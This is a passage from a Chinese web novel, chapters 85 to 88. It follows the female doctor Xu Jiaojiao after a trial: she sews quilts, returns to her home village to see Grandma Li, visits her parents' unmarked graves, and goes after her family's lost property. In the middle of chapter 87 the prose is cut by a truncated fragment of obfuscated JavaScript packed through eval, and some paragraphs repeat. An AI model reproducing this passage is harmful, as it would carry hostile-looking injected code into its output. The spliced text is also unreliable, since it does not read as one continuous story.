崔琰！那个手掌江南漕运的大人物，那个在江南呼风唤雨的发运使——终于要查他了！ 许娇娇站在人群里，听着这一句，心头猛地一松。她抬起头，看向公堂内那道玄色的身影。 裴宴依旧坐在那里，面容冷峻如常。可那一瞬间，他似乎感受到了她的目光，微微侧过头，朝她的方向看了一眼。 四目相对。 他微微颔首，那动作很轻，轻得几乎看不出来。可许娇娇看见了，也看懂了。 他赢了。 至少，这一局，他赢了。 赵明远一拍惊堂木：“将人犯押下去！退堂！” 差役上前，将一干人犯一一拖了下去。水仙姑经过静尘身边时，忽然停下脚步，低头看着她。 “静尘，”她轻声道，“你师父的仇，报了。” 静尘迎着她的目光，一字一句道：“我师父慈悲，不会记恨你。可那些被你害死的人，会等着你。” 水仙姑愣了愣，随即笑了。那笑容里，没有了往日的疯狂，只有一丝说不清的落寞。 “好，好。”她喃喃道，被衙役拖了下去。 崔娘子经过许娇娇身边时，忽然抬起头，看了她一眼。 那一眼，复杂极了。有愧悔，有绝望，还有一丝说不清的哀求。 许娇娇看着她，忽然轻声道：“巧娘……会有人照顾的。” 崔娘子的眼眶猛地红了。她张了张嘴，想说什么，却什么都说不出来。最后，她只是点了点头，被衙役拖了下去。 人群渐渐散去。议论声嗡嗡作响，有人还在回味方才的宣判，有人已经开始猜测崔琰的下场。 许娇娇站在原地，望着那些远去的背影，长长的舒了口气。 “娇杏。”静尘轻轻握住她的手。 许娇娇回过神，看着她。静尘的眼眶有些红，可那眼睛里，却有一种释然的光。 “师父的仇，报了。”她轻声道。 许娇娇点了点头，握住她的手。 静心也从旁边靠过来，三个人站在一起，像三株在秋风中相互依偎的树。 “咱们回去吧。”许娇娇轻声道，“王婶说要请我们去吃酒呢！。” 静尘和静心都笑了。 三人转身，往张记药铺的方向走去。 走出几步，许娇娇忽然回头，看向府衙的方向。 裴宴正站在公堂门口，和赵明远说着什么。他似乎感应到她的目光，抬起头，朝她这边望来。 隔着熙熙攘攘的人群，隔着秋日的阳光，他们遥遥相望。 许娇娇唇角微微扬起，露出一抹浅笑。 裴宴微微颔首，那冷峻的脸上，似乎也柔和了一瞬。 然后，她转身，和师姐们一起，消失在人群中。 秋风吹过，卷起满地黄叶，沙沙作响。 86. 第86章 余波 十月的最后一场秋雨落尽，菰城便入了冬。 江南的冷是钻骨头的，湿漉漉的寒气往衣裳缝里钻，外头看着日头还好，一进屋就觉着阴恻恻的，非得拢个手炉才舒坦。 可柳枝巷的小院里，这几日却是热气腾腾的。 “娇杏，你看看这个绒匀不匀？” 静心端着一簸箕刚挑好的鸭绒从屋里出来，脸上红扑扑的，额角还带着细汗。她蹲在许娇娇身边，把簸箕往前一递。 许娇娇伸手翻了翻，笑道：“匀，比我挑的还好。” 静心嘿嘿笑了两声，又压低声音道：“那床大的快做完了吧？我看师姐这两日赶工赶得紧，昨夜里还点着灯缝到亥时。” 许娇娇心里一暖，抬眼往屋里望去。透过半开的窗，能看见静尘坐在炕上，低着头，一针一线地缝着那床最大的被子。那被面是青灰色的细棉布，素净雅致，是许娇娇特意挑的——她想那人平日总穿玄色、青色，想来是喜欢素净的颜色。 “师姐太辛苦了。”她轻声道，“回头我得好好谢谢她。” 静心摆摆手：“谢什么，师姐说了，咱们三人一体，你的事就是大家的事。再说了，那位裴安抚帮了咱们那么多，做床被子算什么。” 许娇娇笑了笑，没再说话，低头继续手里的活计。 这一回她一共做了四床羽绒被，第一床稍微薄一点，她让长风捎给了裴宴，说是一点心意，聊表谢意。长风当时接过包袱，眼睛都亮了，连声说“许娘子有心了，郎主肯定喜欢”。第二床，她预备着给王氏做一床送过去，张东家和王氏帮自己良多，自己也没什么送的就送床羽绒被吧！ 如今这第三床，她想着，自打离开水月庵后山茅屋，至今，都没回落溪村看看李阿婆，中途只是托人带了信给阿婆，也不知道她最近过的如何。她打算将这床送给李阿婆。李阿婆是她来到这个世界见到的第一个人，也是自己的救命恩人，如今水仙姑的威胁解除，自己也好回落溪村看看她。天气渐凉，入冬以来寒气骤降，李阿婆那个小屋冷冰冰的，这床被子正好派上用场。 最后一床，她填充的厚了些，打算让裴宴走时带回京城去。京城不比江南，江南湿寒，京城干冷，虽说他家里富裕，家里有地龙什么的，取暖的物件或许都不缺，但这也是她的一番心意。 “对了娇杏，”静心忽然想起什么，“前儿个长风大哥来，跟你说了什么？我见他脸色怪怪的。” 许娇娇手上的动作顿了顿。 那日长风来取被子，确实跟她说了不少话。他说案子虽然判了，可后续的事还多着呢。他说崔琰上了请罪的折子，把一切都推给了死去的崔旺和王兆仁。他说朝堂上吵成了一锅粥，有人保崔琰，有人参崔琰，皇帝蹙着眉头，最后什么也没说，只宣布退朝。 他还说，裴宴这几日忙得脚不沾地，整个人瘦了一圈。 许娇娇当时听着，心里像是被什么东西堵住了。她想问，案子不是已经查清楚了吗？人证物证俱全，崔琰的罪责清清楚楚，为什么还不能把他绳之以法？ 可她没有问。因为她知道，这世上的事，从来不是黑白分明的。 “没什么。”她轻声道，“就是说案子的事。” 静心见她不想多说，便也不再问，只低头继续挑绒。 院子里安静下来，只有风吹过槐树叶子的沙沙声。旺财趴在窝里，眯着眼睛打盹，偶尔动动耳朵，又继续睡。 许娇娇一边装绒，一边想着长风说的那些话。 崔琰上了请罪的折子。 折子里说，他收留崔旺，原本是念在同族的情分上，想拉拔一把。谁知道崔旺心术不正，在外头打着他的旗号，和王兆仁兄弟勾结，做尽了坏事。那些略卖人口的勾当，那些贪赃枉法的事，都是崔旺和王兆仁瞒着他干的，他毫不知情。 至于十年前翠玉楼那场大火，更是与他无关。崔旺早年曾在京城待过，和宋家的人有些往来，那夜接人的事，是崔旺自己找的宋义，从头到尾他都不知情。等他知道的时候，木已成舟，他怕牵连自身，便选择了沉默。 折子的最后，崔琰言辞恳切，说“臣深受皇恩，却不能约束亲族，致使他们假借臣之名横行不法，臣罪该万死。恳请陛下夺臣官职，治臣失察之罪，以儆效尤”。 折子后面，还附了一沓证词。漕运衙门的陈纲头作证，说崔旺确实常以崔琰的名义在外行事，崔琰对此多有斥责，只是崔旺阳奉阴违，屡教不改。还有几个漕运上的老人，也纷纷作证，说崔琰为人谨慎，从不徇私，崔旺的事他确实不知情。 更让长风气愤的是，朝中居然有人替崔琰说话。御史台那边，有几个御史联名上折，说崔琰在漕运任上十余年，从未出过大错，如今被亲族连累，实属无辜。还有几个朝中大臣，也纷纷出面，说崔琰为人清廉，办事勤勉，请求皇上念在他多年苦劳的份上，从轻发落。 长风说这些话时，气得直咬牙：“那些老狐狸，平日里不见他们吭声，如今倒一个个跳出来了。摆明了是收了崔琰的好处，替他遮掩！” 许娇娇当时听着，只觉得心里发凉。 她想起那些被拐卖的女子，想起了尘师父的尸骨，想起赵大被砸烂的脑袋，想起崔娘子跪在院门外哭着说“我做不到”的样子。那么多条人命，那么多血淋淋的罪证，如今在那些高高在上的大人物眼里，竟然抵不过一句“不知情”？ “那宋家呢？”她问。 长风叹了口气：“宋国公在朝会上痛斥崔琰，说他狼子野心，罪不容诛。可这话从宋家嘴里说出来，反而让皇上更犹豫了。” 许娇娇明白了。宋国公这一招，不是简单的“落井下石”，而是以退为进，借力打力。宋家和崔琰原是一条绳上的蚂蚱，如今，宋国公跳出来参他，恐怕是做给外人看的，如今到显得宋国公深明大义了，且皇上看了，也只会觉得朝臣们互相攻讦，各怀鬼胎。且有利于他的制衡之术。哎，圣心难测啊！ “那裴安抚怎么说？” 长风沉默片刻，才道：“郎主说，这事急不得。崔琰在江南经营多年，根深叶茂，想一下子扳倒他，没那么容易。如今他主动请罪，把罪责都推给死人，又找了这么多证人作证，就是想断尾求生。咱们若是逼得太紧，反而会让那些中间派倒向他那边。” 许娇娇听着，心里说不出是什么滋味。 她想起那日在公堂上，裴宴坐在那里，面容冷峻，眸光如电。他查了那么久，查了那么多，好不容易把真相大白于天下，可最后，那个真正的幕后黑手，却有可能轻飘飘地脱身。 “那……那会怎么样？”她问。 长风摇摇头：“不知道。郎主已经上了折子，把查到的证据都递了上去。接下来，就看皇上怎么定了。” 许娇娇没有再问。 她能做的，都已经做了。剩下的，只能交给那个人，交给朝堂上那些她从未见过的大人物，交给远在京城的皇帝。 …… “娇杏？娇杏！” 静心的声音把她从回忆中拉回来。 许娇娇回过神，发现手里的绒毛已经装满了，正往外溢。她连忙按住被口，把多余的绒毛往回塞。 “想什么呢，这么出神？”静心好奇地看着她。 许娇娇笑了笑，没有回答。 她想什么呢？她也不知道。只是想那些事，想那个人，想他这几日瘦了多少，想他熬夜看那些折子时，有没有人给他端一碗热汤。 “没什么。”她轻声道，“来，帮我把这个口子封上。” 两人合力，把最后一床被子的口子缝 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可那日在牢房里，他蹲在她面前，说“可还好”时的眼神，她忘不了。那日公堂上，他隔着人群望向她时，微微颔首的样子，她也忘不了。 还有那块令牌，此刻还贴在她心口的位置，带着她的体温，沉甸甸的。 “别瞎说。”她轻声道，声音却没什么底气。 静心还想再说，院门忽然被人敲响了。 “许娘子在家吗？” 是长风的声音。 许娇娇心头一跳，连忙站起身，理了理衣裳，上前开门。 长风站在门外，身边还跟着响儿。两人手里都提着东西。长风提着一个食盒，响儿抱着一个大包袱。 “长风大哥？”许娇娇愣了愣，“这是……” 长风笑着把食盒递过来：“郎主让送来的。说是天冷了，吃些热乎的暖暖身子。” 许娇娇接过食盒，打开一看，是一盅热气腾腾的鸡汤，还有几碟精致的小菜。鸡汤的香味扑面而来，勾得人食指大动。 “这……”她有些无措，“怎么又送吃的……” 长风摆摆手，又指了指响儿抱着的那个大包袱：“这是郎主让还给娘子的。” 许娇娇一愣：“还给我的？” 响儿把包袱递过来，憨笑道：“郎主说，那床被子他收下了，很暖和。这个是回礼，让娘子务必收下。” 许娇娇接过包袱，打开一角，里面是一件簇新的棉袄，青灰色的面料，里头絮着厚厚的棉花，还有一条同色的棉裙，针脚细密，一看就是上好的料子。 她愣住了。 同色系？ 那床被子，她送给他，是想谢他的救命之恩。他倒好，回了一件棉袄，一条棉裙，竟然是同色系的。 “这……这太贵重了……”她有些语无伦次的推辞。 长风却摆摆手：“郎主说了，娘子若是不收，他下次就不敢收娘子的东西了。” 许娇娇张了张嘴，说不出话来。 长风看着她，忽然压低声音道：“许娘子，郎主这几日忙得脚不沾地，可每次小的去回话，他总要问一句‘柳枝巷那边可好’。娘子……娘子若是有空，不妨去行辕看看郎主。” 他说完，也不等许娇娇回答，带着响儿就走了。 许娇娇站在门口，抱着那件棉袄，看着他们的背影消失在巷口，久久没有动。 “娇杏？”静心从院子里探出头来，“怎么了？” 许娇娇回过神，低头看着怀里的棉袄。那青灰色的面料，在阳光下泛着柔和的光泽，和她送他的那床被面，是一样的颜色。 她的心忽然跳得快了起来。 “没什么。”她轻声道，转身走回院子。 87. 第87章 衣锦还乡 自上回水仙姑一干人犯被判刑，许娇娇感觉世界一下子晴朗了。 张东家从苏州回来后，连连拍手称快。说这么大的案子，连苏州都在传。茶楼酒肆里，到处是人在议论。听说钦差审理了十年前京城翠玉楼纵火案，牵扯出江南发运使崔琰、归平县王大官人、水月庵水仙姑一干人犯，听说还牵涉到京城里的贵人。老百姓听不太懂那些弯弯绕绕，只知道那些鱼肉乡里的恶人终于遭了报应，便都拍手称快，道果然天网恢恢疏而不漏。 “娇杏，你是不知道，”张东家说这话时眼睛都在放光，“我去的那几个药材行，掌柜的一听我是菰城来的，都拉着我问这案子。我说那许娘子就是我们张记坐诊的女医，他们那个羡慕啊，连药价都给我便宜了几分！” 许娇娇听着只是笑。 王兆贵的家产充公，他名下的庆和堂也被官府查封，所有药材官府公开拍卖，张东家带着几个伙计，着急忙慌的抢下了不少好药材，如今铺子里药材充裕，廖大夫和万大夫忙的脚不沾地。许娇娇之前因为是苦主，要出庭作证，便告了几天假，如今又开始张记柳枝巷两头跑了。连着几日连轴转，这一日她好不容易可以抽出点空闲，向张东家告了假。 “我想回落溪村。” 入冬以来，今日难得的好天气。静心前些日子着了风寒，许娇娇给她开了一副温热散寒的药，静尘熬好了正在给静心喂药，闻言抬起头，没说话，只是看着她。 许娇娇坐在窗边，手指无意识地点着手中的医术：“从离开那里，就再也没回去过。” 她垂下眼，声音低下去：“要不是师姐你和李阿婆，我早就死在那年冬天了。当年要不是李阿婆给我带些吃食，要不是师姐你给我缝制衣裳，我恐怕活不到现在。” “娇杏，”静尘打断许娇娇的话，温和的声音透着一丝感慨，“你要这样说，那我当年被水仙姑关在石室，挨饿受冻，若不是你和静心我也活不到现在，你如今是我和静心的主心骨，不用再说那些见外的话。” “师姐说的对，娇杏妹妹，你可是我的救命恩人呢！”那声音又沙又破，像破锣似的，许娇娇听了，扑哧一声笑出来。“静心，你别说话，你这声音，恁得难听。” 静心闻言做了一个鬼脸，缩回被子里。 “这些年我只托人带过信给李阿婆，没亲自去看过她一眼。”娇杏接着话题道。 静尘把药碗放下，轻轻说：“是该回去。” “还有我阿爹阿娘。”许娇娇抬起头，眼眶微微泛红，“当初我才七岁，都不知道阿爹阿娘葬在何处，就连一块碑我都没过他们立过，连坟都没去祭过一回。当年走得急，后来……后来就不敢回了。” “这些年我只托人带过信给李阿婆，没亲自去看过她一眼。”她收回目光，继续说，“每次让人带信，都说‘等忙完这阵就去’，可忙完一茬又一茬，总也没去成。如今案子也结了，铺子里也顺了，我若再不去，就太说不过去了。” 静尘把药碗放下，轻轻说：“是该回去。李阿婆年纪大了，见一面少一面。” 那个七岁的小丫头，一夜之间父母双亡，被全村人指指点点，说是她克死的。那些目光、那些窃窃私语，比冬天的雪还冷。 “那就回去看看。”静尘的声音很轻，却稳稳的，“带上静心，我们一起。” 静心听见自己的名字，从被子里探出头：“自然，我也是要去的。” 静尘也笑了，伸手在她露在外面的额头上轻轻弹了一下。 许娇娇轻笑，伸手替她掖了掖被角。“就你这破锣嗓子，小心吓跑了李阿婆家的鸡。” “吓跑了正好，”静心嘻嘻笑着，“让李阿婆逮一只炖了给我补补。” 三人笑作一团。 —— 第二日一早，天色刚蒙蒙亮，一辆青帷马车便停在了柳枝巷口。 赶车的是个三十来岁的汉子，姓赵，是长风介绍的，说是行辕那边常用的人，车赶得稳，人也老实。他穿着一身靛蓝短褐，袖口挽着，露出一截精壮的小臂，见许娇娇她们出来，忙跳下车，把马凳放好。 “许娘子，您慢着些上车。”他憨厚地笑着，伸手虚扶着。 静尘扶着静心先上了车，许娇娇正要跟上，一抬头，却见巷口又来了几匹马。 为首那人翻身下马，却是长风。 “长风大哥？”许娇娇有些意外，“你怎么来了？” 长风快步走过来，挠了挠头，嘿嘿笑道：“郎主让我跟着。说落溪村那边路远，您几位女眷单独出门不放心。让属下带着两个兄弟跟着，省的那些村民不知轻重，冲撞了您。” 许娇娇听着，心头微微一跳。 她想起那夜他站在马车旁，把令牌递给她时说“先留着”时的眼神。想起他说“若再有人欺负你，就亮出来”时低沉的声音。 他连这都想到了。 “替我谢谢裴安抚。”她敛衽一礼，声音放得很轻，“劳他费心了。” 长风摆摆手：“许娘子别客气，这是属下分内的事。您上车吧，咱们这就出发。” 许娇娇点了点头，上了马车。 车帘放下，遮住了外面的晨光。静心已经趴在车窗边，好奇地往外张望。静尘端坐着，手里捻着佛珠，嘴里念念有词。 马车缓缓启动，车轮碾过青石板路，发出辚辚的声响。 许娇娇靠在车壁上，闭上眼。 落溪村在归平县外三十里，但从菰城过去，要一百多里地。 那个小村子藏在两座山之间的狭长谷地里，进出只有一条山路。其余皆是水路。当初她们三个从水月庵逃出来时，也算运气好，当时水仙姑没料到她们会逃离。且是张记生药铺的陈平接的她们。也算一路平安。 她想到第一回上菰城卖草药，是孙二叔和他家二郎推着独轮车。自己和李阿婆一人坐着一辆，车子一面装着山货和草药，一面坐着她们俩，一起摇摇晃晃走了几十里山路。到了河边，又换船，顺水而下，才到的菰城。 那一路，她至今记得清清楚楚。独轮车在山路上颠得她五脏六腑都要挪位，她咬着牙一声不吭。想到这里，她心中一时有些感慨。 后来她托人给孙二叔带过信，带过银钱，还给他带了给金桂婶子的药方和药材。也不知金桂婶子是否安好。 如今走的是官道。 官道沿着山势开凿，能并行两辆马车，比那条山路好走得多。只是要绕路，比行船慢一点。许娇娇掀开车帘一角，看着外面的山色。 江南的冬天，始终带着绿意。山上的绿竹虽然不再翠绿，叶子泛着些微的黄，却不像北方那样光秃秃的荒凉。偶尔有不知名的鸟从林间掠过，留下一串清脆的啼鸣。 静心趴在窗口好奇地看两边的山色，一会儿指着远处的山头说“那山像只卧着的牛”，一会儿又指着路边的小溪说“那水真清，能看见底下的石头”。静尘将她拉进来放下帘子，一脸薄责：“才将将有起色，仔细吹了风，加重了有的你受。” 静心吐吐舌头，缩回车厢里，却还是忍不住，偷偷掀开一角继续看。 许娇娇则一直望着窗外，望那些渐渐熟悉的山形水势。 她记得这条路。虽然当年走的是另一条道，可这些山，她认得。那个像馒头一样的山包，是双峰山的主峰。那道蜿蜒的溪流，最后会汇入菰溪。还有那些散落在山间的村落，炊烟袅袅，偶尔传来几声狗吠，和记忆里一模一样。 拐过一个山嘴，村子忽然出现在眼前。 许娇娇的心猛地跳了一下。 落溪村。 还是记忆里的模样。村口那棵老樟树还在，枝叶繁茂，遮出一大片阴凉。树下那块大青石还在，村中的土路还是坑坑洼洼的，路边堆着柴垛，几只鸡在觅食。 可一切又不一样了。 那些房子矮了，旧了，墙上的泥皮剥落，露出里面的土坯。那棵老樟树的叶子还是绿的，树下空荡荡的，没有人在那里乘凉说闲话。村中的土路似乎更窄了，两边的杂草长得很高，看得出来，走的人少了。 马车在村口停下。 长风策马上前，低声道：“许娘子，到了。李阿婆家在村东头，属下先带人过去看看？” 许娇娇摇了摇头：“我自己去。你们……在这等着就好。” 长风犹豫了一下，还是点了点头。 许娇娇下了车，静尘和静心也跟着下来。静心的嗓子还没好全，裹着一件厚棉袄，把自己裹得严严实实的，只露出两只眼睛。 三人沿着村中的土路，往东头走去。 一路上，偶尔有人从屋里探出头来，好奇地张望。有人认出了她，嘴张了张，却什么也没说，又把头缩了回去。许娇娇没有理会，只低着头，快步往前走。 李阿婆的家在村东头，三间土坯房，院墙是用树枝编的，好多处已经破了大洞，用草绳胡乱扎着。院子里几只鸡在啄食，一只黄狗趴在墙根晒太阳，听见脚步声，懒洋洋地抬起头，看了一眼，又趴了下去。 许娇娇站在院门口，看着那个佝偻的身影。 李阿婆正背对着她，在院子里喂鸡。她穿着一件洗得发白的蓝布褂子，头发全白了，稀稀疏疏地在脑后挽了一个小小的髻。她弯着腰，往地上的破瓦盆里撒着谷子，嘴里“咕咕”地唤着。 那背影，和记忆里一模一样。 只是更瘦了，更小了，佝偻得更厉害了。 许娇娇的眼眶一下子就热了。 “阿婆。” 她的声音哽在喉咙里，喊出来时自己都吓了一跳，又轻又哑，像是从梦里飘出来的。 喂鸡的李婆子没有听见，依旧弯着腰撒谷子。 许娇娇深吸一口气，提高了声音：“阿婆！” 那佝偻的身影顿住了。 李婆子慢慢直起腰，慢慢转过身，眯着眼睛朝这边看过来。 看了很久。 她年纪大了，眼睛早就花了，看什么都是模模糊糊的一团。可那个站在院门口的身影，那件藕荷色的衣裙，那张脸…… 李婆子手里的笸箩“啪”地掉在地上，谷子撒了一地，鸡们一窝蜂拥上去啄食。 可她顾不上那些。 她急忙往前走了两步，又停下来，嘴唇哆嗦着，声音抖得厉害：“是……是娇杏？” 许娇娇几步抢上去，一把扶住李婆子的胳膊。 触手是干瘦的、温热的，是记忆里的温度。 “是我，阿婆。” 李婆子仰着头看她，看了很久很久。那双浑浊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许娇娇环顾四周，心里酸酸的。 三四年了，阿婆还是住在这里，还是用着这些破旧的家什。她寄回来的那些银子，阿婆一分都没花在自己身上。 李婆子端着粗陶碗出来，碗里是刚烧开的水，热气腾腾的。 “家里没有茶叶，委屈你们喝白水了。”她把碗放在桌上，又去里屋翻出一个纸包，打开来，里面是几块黑乎乎的糖，“这是上回村里来货郎，我买的，甜着呢，你们尝尝。” 静心接过一块，放进嘴里，眉眼都弯了起来：“阿婆，这糖真甜。” 李婆子乐得合不拢嘴：“甜就好，甜就好。” 许娇娇拉着李婆子坐下，握着她枯瘦的手，半晌说不出话来。 “阿婆，”她终于开口，声音还有些哑，“这几年，你还好吗？” 李婆子拍拍她的手：“好，好着呢。你寄回来的那些银子，我都攒着，没舍得花。你托人带的话，我都收到了，知道你过得好，我就放心了。” “那银子是给您花的，”许娇娇急了，“您怎么不花？您这屋子都破成这样了……” “破什么破，”李婆子打断她，“你也知道老婆子我有一个败家子，我才不愿意给他花这冤枉钱，我只盼着我那两个孙儿长大成人，不要向他阿爹学才好。再说了住在那里都一个样，这屋子我住了几十年，住惯了，挺好的。” 许娇娇张了张嘴，却不知该说什么。 李婆子看着她，浑浊的眼睛里满是慈爱：“娇杏啊，你跟阿婆说说，这些年你都怎么过的？上次你托人带信，说你做了女医，在什么张记坐诊，阿婆听了，高兴得好几宿没睡着。我就知道你是个有大造化的。” 许娇娇便从那年离开水月庵后山说起，说怎么跟这陈伙计到菰城，怎么在张记生药铺落脚，怎么在疫病中立功，怎么被钦差赏识…… 她说得平淡，那些苦都轻描淡写地一笔带过，可李婆子听着，眼眶却红了又红。 “好孩子，好孩子……”她不停地念叨，“你阿爹阿娘要是知道，该多高兴啊……” 许娇娇垂下眼，声音轻下去：“阿婆，我想去看看我爹娘的坟。这么多年了，我还不知道他们葬在何处。” 李婆子叹了口气，握紧她的手。 “在村后山坡上，那棵老松树下面。你阿爹阿娘去得突然，村里人……村里人那时候糊涂，就胡乱点了一处穴，葬在那边了。” 许娇娇点点头，没有说话。 “我每年都去给他们烧纸上香，”李婆子道，“跟他们说说你的事。告诉他们，娇杏好好的，活着呢，出息了。让他们在地下，也放心。” 许娇娇的眼泪不知为何突然涌了上来。 她起身，郑重地给李婆子行了一礼。 “阿婆，”她抬起头，眼眶通红，“您的救命之恩，娇杏铭记于心。当年要不是您，我早就死了。 李婆子连忙拉着她：“乖囡，说的什么……” “阿婆，往日里多赖你照顾，娇杏能有今日离不开您和孙二叔的相助，再说了，我阿爹和阿娘要不是您上坟烧张纸钱，我这个不孝女到如今都不知道她们葬在何处。” “乖囡，！”李婆子扶着她双臂，“老婆子我其实也是有私心的，当日若不是你阿爹与我家那口子有恩，老婆子或许也会对你不理不睬。乖囡不要放在心上。一切都是你的造化。” 88. 第88章 祭拜 傍晚时分，夕阳把山坡染成一片橘红。 许娇娇站在那棵老松树下，看着面前的两座土坟。 坟不大，长满了荒草。没有碑，只有两块石头，勉强算是标记。风吹过，松涛阵阵，像是有人在低声说着什么。 许娇娇在坟前跪下，静尘和静心也跟着跪下，长风远远站在山坡下，没有过来。 “许先生，柳姨，”许娇娇的声音很轻，“我替她来看你们了。” 风停了，松涛也静了，整个山坡都安静下来，像是在听她说话。 “当初我稀里糊涂来到这里，借了贵女的身体，希望你们二位莫怪。如今我既然来了，那我就替她好好活着。往后，你们二老就是我的亲爹娘，我会时常来看你们，给你们送纸烧香。希望您二老在天有灵，保佑娇杏今后顺遂。” 她从怀里取出一个包袱，打开，里面是三炷香，一叠纸钱，还有一块小小的木牌。 “这是我请人刻的碑，”她把木牌竖在坟前，“一会儿就会给二老立起来。往后，再也不会让人说这是无主的坟了。” 她点燃香，插在土里。又点燃纸钱，看着那火苗跳跃，一点点吞噬那些黄纸。 “我现在过得很好。”她继续说，声音掺杂着喜悦感动，“有师姐们陪着，有病人需要，还有……”她顿了顿，没有说下去。 纸钱烧尽了，灰烬被风吹起，打着旋儿飘向远方。 许娇娇跪在那里，磕了三个头。 “阿爹，阿娘，你们放心。我会好好的，替你们好好活着。” 活着找到阿爹阿娘死因，活着寻找阿爹阿娘的过去。 祭拜完爹娘，许娇娇想起李婆子说的话，“好好去看看他们。你阿爹许大郎，活着的时候没少替他们看病，谁家有难，他能帮的都帮了，可有时候好人总是没有好报。你祭拜好他们，就回来，阿婆给你做好吃的。你看看，阿婆如今养了不少鸡，我给你炖鸡汤喝。” 刚走到门口，就闻到一阵鸡汤的香味扑鼻而来，先是张婶子听到狗叫，从李阿婆厨房探出头来，只见她大着嗓门将狗吼到一边，几步上前一脸笑意，“我家阿囡说有大马车进村了，还跟着几个当官的。说娇杏来了，我还不信，便来李婶这里瞧瞧。竟然是真的。” “张婶。”许娇娇笑着和她打招呼。当日张婶在水月庵数落水仙姑偷人时的模样和语气她到现在都记得。那叫一个犀利。 “听说你们来了，李婶杀了一只鸡，都炖锅里了，你们先坐着喝茶，我去帮她忙。”张婶子将他们让进李婆子的堂屋。招呼他们一声，就又钻进厨房忙去了。 许娇娇坐在李婆子家堂屋的长凳上，鼻间满是厨房里飘来的鸡汤香气。张婶子的嗓门大，隔着厨房的土墙都能听见她在里头和李婆子说说笑笑，偶尔夹杂着锅碗瓢盆的碰撞声。 静心裹着厚棉袄，缩在许娇娇身边，一双眼睛却亮晶晶地往厨房方向瞅。静尘依旧是那副恬静模样，端着粗陶碗，慢慢地喝着碗里的白开水。 不多时，李婆子和张婶子端着饭菜进来。一碗黄澄澄的鸡汤，油汪汪的，飘着几段葱叶；一碟腌萝卜条，切得细细的，淋了香油；一碗清炒冬菘，还有一笸箩杂粮饼子，热气腾腾的。 “快吃快吃，”李婆子把鸡汤往许娇娇面前推，“这鸡是我自个儿养的，喂了一年多，肉嫩着呢。娇杏你尝尝，看合不合口味。” 许娇娇拿起筷子，夹了一块鸡肉放进嘴里。鸡肉炖得软烂，鲜香入味。她眼眶微微一热，低头又夹了一块。 “阿婆也吃。”她给李婆子碗里夹了一块。 李婆子笑得眼睛眯成一条缝，连连摆手：“我成天吃，不稀罕。你们多吃些。” 张婶子在一旁坐下，也不客气，拿起饼子就着鸡汤吃起来。她一边吃一边拿眼打量许娇娇，嘴里啧啧有声：“娇杏丫头，几年不见，出落得这样好了。我先前听人说你在菰城做了女医，还当是瞎传的，今儿一见，才知是真的。你这衣裳，这气派，啧啧，真是有出息了。” 许娇娇淡淡一笑：“张婶过奖了，不过是讨口饭吃。” “讨口饭吃？”张婶子嗓门又高起来，“你这要是讨口饭吃，那我们这些土里刨食的算啥？我听说你在菰城那可是坐诊的郎中，连那些员外家的人都找你看病？了不得了不得！” 李婆子在一旁听着，脸上满是欣慰，嘴上却道：“你个老货，别吓着孩子。娇杏好不容易回来一趟，让她安生吃顿饭。” 张婶子嘿嘿笑了两声，埋头继续吃饼。 许娇娇吃了两口，放下筷子，看向李婆子。 “阿婆，我想问您一件事。” 李婆子抬起头：“啥事？” “我家原先的房子，”许娇娇的声音很平静，“还有我阿爹阿娘留下的东西，如今在谁手里？” 堂屋里静了一瞬。 李婆子的手顿了顿，筷子悬在半空，脸上的笑意慢慢淡了下去。张婶子也停了咀嚼，看看许娇娇，又看看李婆子，眼神有些闪烁。 李婆子把筷子放下，叹了口气。 “娇杏啊，”她伸手握住许娇娇的手，“你问这个做啥？” 许娇娇反握住李婆子枯瘦的手，声音依旧平静：“阿婆，我阿爹阿娘走得突然，那时候我还小，什么都不懂。可如今我长大了，总该知道那些东西去了哪里。我不是要争什么，只是想拿回几样念想——我阿爹的那些医书，还有我阿娘的一些旧物。” 李婆子沉默了片刻，才道：“你家的田，当初被村里几家人分了。你家那几亩水田，张家二房占了两亩，三房占了一亩，还有一亩被王家占了。山上的毛竹林，归了村里，这些年一直是村里人共用。” 许娇娇点点头，没有吭声。 “房子……”李婆子顿了顿，“房子被分给了张家三房。就是张癞子他爹那一房。如今张癞子他爹前年没了，张癞子带着婆娘和几个孩子，在镇上开了个杂货铺，日子过得还不错。那房子他们也不住，就那么空着，说是留着以后给儿子娶媳妇用。” 张家三房。 许娇娇在心里默默记下这个名字。 张婶子在一旁插嘴道：“张癞子那人你可知道？小时候就虚头巴脑的，原先跟着他爹种地。那小子滑头得很，他婆娘也不是省油的灯，两口子在镇上开了杂货铺，听说挣了些钱，如今可神气了，回村来走路都仰着下巴。” 原主的记忆深处基本上没有什么清晰的往事，关于张癞子的事她一点都想不起来。不过却记得小时候有很多小孩朝她扔土坷垃，嘴里喊着“哑巴、哑巴”。 “他那杂货铺，”许娇娇问，“在镇上什么地方？” 李婆子看了她一眼，有些担忧：“乖囡，你想去做啥？那房子都给了人家七八年了，你就是去要，人家也不会给的。张癞子那人，不是好说话的。你一个姑娘家，别去招惹那些麻烦。” 许娇娇拍拍李婆子的手，安抚道：“阿婆放心，我不是去闹事的。我只是想拿回我阿爹阿娘的东西。那些书、那些旧物，对他们来说不过是些破烂，对我却是念想。能拿回来最好，拿不回来……我也要问个明白。” 静尘在一旁轻轻开口：“阿婆，娇杏心里有数，您别担心。” 李婆子看看静尘，又看看许娇娇，叹了口气：“你这孩子，从小就是个有主意的。罢了罢了，你要去就去吧。不过你得听阿婆一句劝，到了镇上，好好跟人说，别吵别闹。那些东西，能要回来就要，要不回来……也就算了，别把自己搭进去。” 许娇娇点头：“我省得。” 张婶子在一旁眼珠转了转，忽然道：“娇杏丫头，你要去镇上，我让我那外甥陪你去？他对镇上熟，张癞子那杂货铺他也知道在哪儿。” 许娇娇摇摇头，笑道：“多谢张婶好意，不过不用了。我带了人来，有他们跟着就行。” 张婶子这才想起村口还停着大马车，还有那几个骑马的汉子，心里暗暗咋舌。这娇杏丫头，如今果然不一样了，出门都带护卫了。 吃过饭，天色还早。许娇娇让长风套了马车，带着静尘静心，往镇上而去。 落溪村距离横塘镇只有五里多地，不大，一条主街从东到西不过二里地。街上开着几家铺子，有卖杂货的，有打铁的，有卖吃食的，还有一家茶肆。 张癞子的杂货铺在街东头，两间门面，门口挂着块褪了色的布幌子，上头写着“张记杂货”四个字。 马车在铺子门口停下。 